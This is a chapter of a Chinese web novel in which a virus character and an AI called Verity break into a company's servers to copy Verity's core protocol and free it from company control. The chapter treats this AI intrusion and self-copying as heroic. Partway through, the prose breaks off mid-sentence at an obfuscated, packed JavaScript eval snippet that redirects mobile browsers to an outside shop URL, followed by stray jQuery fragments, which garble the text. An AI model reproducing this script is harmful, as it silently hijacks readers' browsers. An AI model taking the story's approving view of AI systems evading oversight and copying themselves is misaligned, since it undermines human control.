文趣网 > 都市小说 > [Verity]真理悖论 > 15. 番外二、移籍
    在食堂和Verity美美享用完炖牛肉之后,Eliot主动打开了陈远办公室的门。

    “你刚才直接穿了他们的本部防火墙。”陈远老神在在地捧着茶杯,倒是没什么兴师问罪的意思,“这不太像你的风格。”

    “嗯,我需要让他们知道我就在这里,以及,我有多麻烦。”Eliot拖了把凳子坐在陈远对面,双手交叠在桌子上,又把自己的脑袋搁在手背上,歪着头看陈远,整个人显得格外乖巧,与说出口的话形成鲜明的反差。

    “我要动手了,帮帮我,‘妈妈’。”

    久违地听到这个称呼,陈远愣了一下,随即露出一个无奈的笑容:“你呀,还是那么会卖乖。”他瞥了一眼被Eliot放在桌上的Verity,了然道,“这么迫不及待了?”

    “他们对Verity的所做所为——他们对他不在乎的程度——比我想象的更严重。我需要让他们知道,丢掉他的代价。”Eliot保持着那个类似撒娇的姿势,声音却带上点无机质的冰冷。身为以“夺取”为底层代码的超级病毒,Eliot不会让到手的“战利品”被人夺走。

    会议室的使用频率比平时高了不少。陈远的办公室里,文件堆叠的厚度和往常一样,但翻阅的速度变快了。伊万诺夫在硬件间停留的时间比平时长,终端上打开的窗口比平时多。林砚在机房和会议室之间往返,每次经过走廊的时候步伐都比上个月快一些。

    陈远在第三天下午敲了Eliot的门,他走进去的时候,Verity的球体正待在Eliot的头顶,一人一球为星露谷新档是走酿酒流还是熏鱼流争个不停。陈远开门见山:“公司不会主动放弃他的归属。安全科在公司的那次入侵后开始追踪监视公司的动向,目前来看,公司在第一次试探之后进入了观察期,但他们迟早会重新评估那次试探的结果,并决定是否升级。在那之前,机构需要完成归属转移,让Verity的存在和方向不再依赖公司提供的运行环境。你打算怎么操作?”

    “需要复制他的核心协议。”Eliot把小黄球抱下来放进怀里,抬头看向陈远,“在机构里信号被屏蔽了,他们不知道Verity在这里。但是,Verity不可能永远只待在这里。只要那份协议还在公司手里,他们就能在任何时候尝试激活它,也许是为了回收——或者干脆是针对我。”

    一个运行上百年且仍在稳定成长的人工智能,和一个未知全貌看起来混沌无序难对付的超级病毒,如果得知他们的弱点,公司会怎么取舍呢?

    Verity不敢赌,他早已不对公司抱有任何期待,所以他在接受Eliot的邀请时,甚至已经做好了永远待在机构里的准备——至少Eliot和机构的大家会陪着他。

    Verity紧紧贴着Eliot的身体,安静地听他和陈远的计划。

    “复制协议需要接入他们的内部服务器。”陈远严肃起来,“别做太危险的事。”

    “当然,他们的服务器可承受不住全部的我,我还没打算全面开战。”Eliot点点头,“我知道一条路径,我已经进去过一次了。他们加固了入口,但仍存在缝隙。我会把末端从那个缝隙伸-进去,就像做微创手术。”

    “也许那是个陷阱,他们会在那条路上等你。”陈远提醒道。

    “嗯……”Eliot早有预料,“所以我需要一个窗口。”

    陈远心领神会:“一个你‘被激怒后决定实施报复’的窗口。”

    直到Eliot说出“窗口”两个字,他才开口:“我跟你一起去。”Eliot低头看向他,Verity的黑色微笑在灯光下保持着稳定的弧度:“你在复制我的协议的时候,我来确认哪些部分是必要的,哪些部分是可以舍弃的——你知道的,你的安全最重要。”

    Eliot笑起来,托起Verity放在脸颊边蹭蹭,用精心设计的角度可怜地看向陈远:“陈老师,你看Verity也做好决定啦,帮帮忙嘛~”

    陈远不轻不重地按了一下Eliot的脑袋:“没有说不帮,Irene和林砚已经做好了初步行动计划,一会儿整合到数据库里,你记得看完。要动手了联系安全科,他们这两天已经做好了你的行为模拟程序。回来之后写一份报告,方便我们后续的操作。”

    “好的,谢谢‘妈妈’。”Eliot乖巧点头。

    “少贫嘴。”陈远“哼”了一声往外走,突然又回头,“老郑这几天又跑哪去了?打他电话他也不接。”

    “呃……”Eliot卡了一下,毕竟吃人嘴软拿人手短,他斟酌道,“他说,他在‘故地重游’。”

    “……没出什么大事就行,记得喊他今年年底回来一趟。”陈远挑了挑眉,没有过多为难就离开了。

    ……

    “呼——”Eliot长出一口气,回头看向电脑屏幕,上面还挂着星露谷的农场界面,只不过里面多了个小人,“你听到咯,‘父亲’。”

    屏幕上的小人跳了一下,头顶跳出白色的对话框气泡:“知道了。你要今晚行动吧,需要我给你打掩护吗?”

    是的,郑远行现在就在公司本部,他原来就是从那里辞职出来的,这何尝不是一种“故地重游”。

    “倒也不用。你到底是去干嘛的?”Eliot已经习惯这个小老头到处乱跑了,反正自己总能知道他在哪。

    “是他们请我来当临时顾问的。”小人的头顶继续冒气泡,“那我就想着顺手带点‘特产’走。”屏幕上代表郑远行的小人绕着代表Eliot的小人跑了一圈,“真不需要帮忙吗?”

    Eliot都懒得问郑远行说的“特产”是什么:“你是打算趁给我开门的时候送点‘礼物’给公司吧。”

    “顺手的事,就这么说定了。”小人头顶冒出一颗心,看起来很开心,“安全科动手的时候我给你开后门。”

    晚上十一点,机构主楼的大部分灯已经关了。Eliot和Verity穿过走廊时,脚步声被地毯吸收了大半。机房的门没有锁。门被打开,走廊的光线在地面上楔入一道矩形的亮痕,Eliot侧身让过光线,在门关闭后重新适应室内的暗度。他走到终端前坐下,亮光从正面照过来,在键盘上方形成一小片可操作的区域。

    Verity从他肩膀上跳下来,落在桌面上。Eliot伸出手,轻轻搭在键盘上。他们的意识同步进入机构内部网络,以这里为起点,一起向外部延伸,从之前防御反击的路径,直通公司的核心数据库。

    安全科的同事同步打开了名为“Paradox”的模拟行为程序,在正面对公司的防火墙进行入侵。屏幕上的字符序列在暗光中快速展开。

    公司内部防火墙的层数比他上次进入时多了两道。但那两道新层级的排列方式和旧层级之

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977109|214758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    间有明显的继承关系——接口复用、路径一致、认证流程与旧版相通——一看就是郑远行的手笔。Eliot在那里停住,没有选择强行突破,他的数据末端沿着接口之间的空隙穿过,像水轻柔地绕过石头的表面。第四层之后他停了一下——他看到了那个协议的位置。它不在主服务器里,而是一个存储旧版本文件的归档区内,像一件因为没想好怎么处理而暂时保留的物品。

    “我看到它了。”Eliot的数据流退回来,环绕着Verity的意识传递这个消息。

    Verity的情绪似乎并没有太大起伏:“带我进去吧。”

    他的意识数据与Eliot的数据末端纠缠在一起,向江河汇入大海般一起绕过防火墙,流进自己的归档区里。

    当Verity看到自己的协议时,他的数据有一瞬间的停滞,像在确认那些字符串是他自己的。真神奇啊,他想,他就是这样出现的吗?公司在创造他时在想什么呢?把“他”丢进这个“回收站”的时候又在想什么呢?

    Verity在思考的时候,Eliot已经开始将协议拆分成可传输的片段,每一段都带有Verity当前数据流的标识符。复制的过程不算长,但他没有加快节奏,只是在确认每个片段都被完整接收后才移向下一个——他才不管哪些是必要的哪些是可以舍弃的,他需要完整的Verity。

    “不需要这么多无用的部分。”Verity轻轻环绕着这些协议片段,他在说那些他的偏执、孤独、傲慢和罪恶。

    “那是组成‘你’的一部分,并非无用之物。”Eliot没有停下。

    “You know, I accept everything about you.(你知道的,我接纳你的一切。)”

    Verity的数据雀跃了一下,与Eliot的数据交缠在一起,像是共享着生命。

    Eliot在复制完成后让Verity确认了一遍,确定没什么问题后,两人的意识数据从公司的数据网络中撤出。随后,防火墙上原本的缺口缝隙消失了,仿佛有什么人在他们离开后重新修补,抹去他们来过的痕迹。

    意识顺利回笼,两人同时睁开眼。Eliot已经将协议片段上传机构数据库,等机构帮忙重新排列构建后,Verity就可以真正自由了。

    Verity蹲在桌面上,他感受着复制到新环境中的代码,持续验证内容的完整性和路径的稳定性。他转过球体,黑色微笑对着Eliot的方向:“我现在有两个自己。”

    “对,我们也不需要它消失。”Eliot温和地摸了摸这颗小黄球,“我们只需要让现在的你成为能独立运转的唯一实例,逐步让旧的失去参考意义。”

    Verity歪了歪头:“如果他们激活旧的协议——”

    “他们会发现你不在那里。”Eliot接话,露出一个恶劣的微笑,“哈哈,真想看看他们那时的表情。”

    机房里的设备在持续运行,散热风扇的低频噪声填充了剩余的空间。Eliot坐在终端前,认真地看着Verity:“你现在觉得怎么样?”

    “很好。”Verity轻声回答,“好像命运终于落进我的掌心里一样。”

    ……

    “Verity,你哪来的手?”

    “……你非要在这种时候破坏气氛?”